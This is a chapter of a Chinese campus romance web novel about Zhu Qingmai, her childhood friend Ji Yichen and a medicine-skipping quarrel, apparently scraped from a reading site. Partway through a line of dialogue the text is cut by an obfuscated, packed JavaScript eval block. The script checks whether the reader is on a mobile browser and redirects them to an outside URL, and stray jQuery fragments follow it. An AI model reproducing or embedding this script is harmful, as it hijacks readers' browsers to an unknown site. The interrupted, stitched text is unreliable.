祝清麦不记得她是什么时候睡着的。


    原本打算回给纪以辰的微信也忘了回。


    学姐那边和她昨晚看见的一样。


    床帘、桌帘把她的位置遮挡得严严实实。


    有片刻恍惚，祝清麦开始怀疑她昨晚看见的光亮到底是真实存在的，还是睡着后的梦境。


    她一直认为平行时空是真实存在的。


    毕竟祝清麦时不时会感觉，平日里做的事情和一些场景熟悉到——


    似乎梦里的她也做过。


    如果那点儿光亮是梦境的话。


    那种莫名、奇怪的感觉是不是也是错觉？


    ……


    祝清麦看了眼时间，今天有早课。


    纪以辰也到了该换药的时间，她还要提前带药送去医务室。


    她刚下床，钟冉抬头，眼睛都没睁开，“天呐！小满你怎么也这么早起来，要出去？”


    祝清麦蹲下系鞋带，仰头看她，“也？”


    钟冉十分困倦的模样，“嗯”了声，打了个哈欠，“学姐，应该是天刚亮的时候，我听见学姐穿外套开门出去了，就没再回来。”


    “你又通宵看你的私藏，忘记时间了？”祝清麦已经很了解她了，但还是有些无法相信面对早八课，钟冉还通宵。


    提到这，钟冉微微有了精神，嘿嘿嘿地笑，“漫画昨晚更新了，原本我打算看完更新的两章就睡觉。但意外发现画师太太开了新坑，而且发现！内容！非常！极其！对！我！胃！口！我一个没忍住追平了。”


    祝清麦：“…………”


    钟冉：“你要吗？我发给你，太太除了内容大胆点，画风还是不错的，值得你学习钻研，说不准学好后你会更上一层楼。”


    “…………”


    祝清麦想起那次看到yellow漫动作情节前，她还真想过认真做笔记，红了脸。


    谁！要！对！着！yellow漫画！学！习！钻！研！啊！


    啊啊啊啊啊？！！


    祝清麦内心呐喊。


    况且钟冉能说出“非常”“极其”这种词汇形容的漫画，一定是yellow到没边了。


    “不用了，你自己留着看吧，时间还早，你再睡一会儿。”祝清麦默默转移话题，戴好口罩和帽子，拎过桌上的药，“睡吧，等我送药回来喊你。”


    *


    清晨露水很重。


    从寝室到医务室这段距离，祝清麦感觉衣服都被冷气沾染透。


    纪以辰没来，医务室里还是只有那位学长在低头看书认真做笔记。


    看纸张颜色，应该是换了一本书，但厚度明显只增不减。


    “拿药还是不舒服要检查？老师八点来。”学长语气淡淡，手里拿着咖啡喝了几口。


    祝清麦开口跟他打了声招呼。


    学长捏着眼镜腿细细看了眼，“哦，是你啊。”


    “你男朋友昨天去检查没？你昨天那么着急生气，应该去检查了吧，你男朋友检查怎么样？”


    要出口的话突然卡了下，很快祝清麦小声驳了句，“他……不是我男朋友。”


    “哦。”学长平淡回应声，说出的话像医院叫号机器那样平稳冷静，“那就是还在暧昧期。”


    “……”


    “……也不是……我们……”祝清麦手指轻轻挠挠额头，医院的理由再次拿出来使用，反正纪以辰也不在。


    “他……他是我弟弟。”祝清麦语气逐渐坚定。


    学长抬头看了她一眼，几秒后，平淡“奥”了声。


    祝清麦把记得情况讲了下，学长点点头，“热敷毛巾自己带，热水那边有，用完收拾干净就行。”


    她说了声谢谢，向里面走。


    她坐在椅子上等了十分钟也不见纪以辰身影。


    等待的这段时间，祝清麦见证了学长打了数不清的哈欠。一杯咖啡喝完后，默默从桌下又拿了一杯出来，低头做笔记。


    整个人散发着淡淡的死.感。


    学医的人都这么累吗？


    打哈欠会传染，这一会儿，她也被传染打了好几个，低头看手机。


    微信的消息她刚出门就发了。


    ［小满：药放医务室，你快点来拿。］


    对面回得很快：［知道了。］


    回消息代表纪以辰醒了，她清楚纪以辰醒了很少会再睡回笼觉。


    时间过去半个小时了。


    新男寝离医务室也不远，纪以辰就算伤得是腿，一路靠单脚蹦，这个时间也该蹦来了。


    祝清麦给纪以辰发去语音条，“纪以辰，六个小时换药时间都过了，你去医务室拿药换没？


    劳工发来一条消息：［换了。］


    哦


    换了。


    纪以辰说换了。


    “…………”


    祝清麦看了眼旁边的药袋，咬牙挤出一抹微笑。


    真被他气笑了。


    纪以辰什么时候学会的隔空取物？


    她怎么不知道？


    祝清麦站起身，找出语音通话，准备出门打电话狠狠谴责纪以辰一顿。


    刚迈步出门，听见后面一声沉闷声响。


    吓得她以为学长学习过度晕倒，赶紧回头，毕竟那浑身的“微死.感”不像开玩笑。


    只见一早上都是“微.死”状态的学长脸上终于有了一丝“鲜活”的表情。


    他把书重重地扔到一边，砸出很轻微的……闷声。


    祝清麦看他微笑着开始发语音，满满都是控诉，“李牧也你个杀千刀的，我当初就是信了你的邪，听你的意见报得医学专业，结果转头你就背刺我去学计算机。”


    “劝人学医，天打雷劈！老天爷怎么还没降个雷劈.死你。”


    “…………”


    这学长反差好大。


    “别骂了，别骂了，蒋赫你每天准时骂我也不嫌累？”学长语音外放，门口的祝清麦清晰听见对面有气无力地回答，“我现在学计算机不也遭报应了，每天熬夜写代码，对比大一学弟们，我感觉头发都少了，天天照镜子看发缝，就担心我哪天秃顶了，我生发液都买了一堆。”


    “这大一刚开学才多久，我们网络信息部部长就带进来一学弟推他接部长位置。老组员开始不服气闹了一通，但谁能想到这学弟贼特么牛逼，把我们这一群老人狠狠吊打一顿。现在部里卷生卷死，昨晚做梦还梦到代码变成小怪兽，我跟怪兽大战了三百回合，现在还恍惚觉得我有超能力……”


    祝清麦转头摸摸鼻子，想象代码符号变怪兽的模样，差点笑出声。


    她见过纪以辰写代码，各种字母字符看得她头疼，可不就是怪兽？


    那些代码唯一可爱的时候，大概就是纪以辰发给她的程序。


    点开可以炸烟花。


    虽然电话内容不是她想听的，但她在原地听久了也不好。


    学长嗓门不小，她向远处走走，声音渐渐消散。


    直到彻底听不见声音，祝清麦才找处树荫，靠在树上给纪以辰打电话。


    电话接通，男生懒散的声音传过来，“小满，找我？”


    那边背景很嘈杂，祝清麦听见两个男生就从哪里跳车，向左向右开吵得不可开交。


    祝清麦把手机拉远些，想说发文字说吧。


    纪以辰先开口，“等我一会儿，室友在打游戏，有点吵。”


    “其实没什么事情，可以打字说。”


    “等我。”


    祝清麦低头，脚尖把小石块踢来踢去。


    她听见那边声音忽然变得更乱了。


    “辰哥！辰哥救命！过来帮我一局。”


    “辰哥你掉线了？你干什么去？”


    祝清麦踩石块的动作顿住。


    “你也在打游戏？”


    纪以辰轻轻“嗯”了声。


    祝清麦第一反应是这膏药贴的效果确实不错，打游戏这么灵活的事情都能做了。


    第二吧…………


    她把小石块踩立起，谴责他，“纪以辰，你竟然没有团队意识，抛弃了你的同伴！”


    那边声音渐渐小了，纪以辰的声音开始清晰。


    “祝小满，有没有良心，我打游戏的时候都会第一时间接你电话，你倒好，反过来说我没团队意识。”


    “就是没有呀。”祝清麦声线软软的，尾调拉长时给人一种她在撒娇的感觉。


    “我是代表你的同伴谴责你，和祝小满本人无关。”


    纪以辰轻笑，“你现在找我的次数越来越少，突然找我，我当然要珍惜每一次的机会。”


    纪以辰的话听得她莫名耳热。


    一时错力，小石块被踢飞。


    “好了，不逗你了，找我什么事？”纪以辰轻问。


    祝清麦思绪回笼，差点忘记大事。


    祝清麦：“我昨天思考过了，我们现在是一根绳上的蚂蚱，你的伤如果不好，挨骂我也逃不掉，所以请你及时换药养伤。”


    纪以辰嘴角慢慢扬起，“关心我的伤势？关心我……要不要亲自来看看？”


    “我给你打电话，就是想确认一下。”祝清麦低头看脚尖，声音带笑，“你是不是也看代码看多了，产生了幻觉，觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759267|173797||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    得自己有隔空取物的超能力？”


    “什么？”纪以辰疑惑。


    “纪以辰同学。”祝清麦语气严肃，“我从早上把药送到医务室就没离开，现在药还在里面，请问你是怎么换好的药？”


    “逃药”这种事情难得出现在纪以辰身上。


    祝清麦叉腰，模仿每次纪以辰说她时的语气说他，“纪圆圆，你三岁吗？”


    “你不好好贴药，你的伤什么时候才能好？”


    “……”


    对面沉默几分钟。


    祝清麦偏头看看手机，信号满格啊，怎么没有声音。


    时间久到祝清麦想挂电话重拨。


    “你周围有人？”耳边重新响起声音。


    “没有啊，怎么了。”祝清麦一头雾水。


    “没事，我马上到。”对面似乎松了口气，“还有，在外面别叫我小名。”


    祝清麦：“……”


    这人还是一如既往地要面子。


    *


    祝清麦挂了电话，还是没忍住笑出声。


    她能想象出她喊纪以辰“纪圆圆”时的表情。


    皱眉，不耐烦，但又无奈接受。


    纪圆圆是纪以辰的小名。


    这个名字据苏女士和陈女士闲聊时得知，是她取小名抓阄抓出“小满”后，纪以辰给他自己取的名字。


    那时已经认字的纪以辰非要和她名字凑成“圆满”二字。


    后来上学被问过小名叫“圆圆”是不是因为他以前很胖。


    纪以辰解释了很多次未果，还被一女生补刀，“胖过也没关系，现在看起来多帅，证明了胖子都是潜力股。”


    彼时的纪以辰正处于“死要面子”时期。


    女生之间的谈话不知道怎么传进男生群体里，一时间，许多男生都找他讨要减肥方法，他烦不胜烦。


    再升学，纪以辰就明令禁止她喊他小名，包括家里人在内也不能喊，谁叫他跟谁急。


    亲自取的名字又被他亲手抹掉。


    祝清麦偶尔跟他斗嘴还是会继续“纪圆圆”“纪小圆”的喊，周围没人的情况，纪以辰往往睁只眼闭只眼，懒得跟她争辩。


    太阳出来了，光洒到身上暖洋洋的，祝清麦靠在树上有些发困。


    纪以辰一路跑到医务室。


    看见小姑娘正蹲在树下打哈欠。


    纪以辰：“一直在这蹲着？怎么不进去等？”


    祝清麦刚打完哈欠，眼睛水汪汪仰头看他，“我都计划好了，你再晚一分钟，我就走了。”


    纪以辰勾唇，“那我来得还挺及时。”


    祝清麦：“……”


    “起来吧，进去贴药。”纪以辰伸手。


    “现在知道急了。”祝清麦拍开面前的手，“你早干什么了，我自己起。”


    纪以辰幽幽开口，“那你最好快点，这种树最招虫子，说不准什么时候就有一条全身都是毛毛和小腿，在树上慢慢蠕.动的虫子……”


    祝清麦眼睛慢慢瞪圆。


    她最怕虫子了。


    “一个没爬稳……啪嗒一下。”


    祝清麦被吓得整个人一激灵。


    纪以辰继续使坏，凑近她，“然后……就掉到你身上。”


    祝清麦：“！！！”


    啊啊啊啊啊啊！


    救命！！！


    画面描述得太清晰，祝清麦几乎下意识弹起身要跑开躲虫子。


    但蹲的姿势不对，她整个人向前扑去。


    纪以辰接住她，将她整个人抱进怀里。


    正骂完好友解了气，准备出来扔垃圾的蒋赫：“…………”


    好一个姐姐弟弟。


    他后悔戴眼镜出来了，现在眼镜和眼睛他都不想要了。


    蒋赫遗憾地看了眼两人后面不远处的垃圾桶，拉着垃圾袋小手又回去。


    祝清麦鼻子撞的生疼，后知后觉应该是被捉弄了，伸手在纪以辰腰间拧了下。


    “哼”了声抬脚往医务室里走。


    打完电话的学长又恢复了那种“微死”状态，头也不抬。


    纪以辰乖乖跟在她身后。


    祝清麦拉上床铺挡帘，抱胳膊坐在一旁，“把衣服脱.了。”


    纪以辰挑眉，“全.脱？”


    祝清麦点头，“对！”


    不远处听到一切的蒋赫：“……”


    他掏掏耳朵不敢相信听见了什么？


    不就……贴个药？


    啊啊啊他这是正经医务室啊！


    好一个姐弟……情.趣……


    他耳朵也不想要了。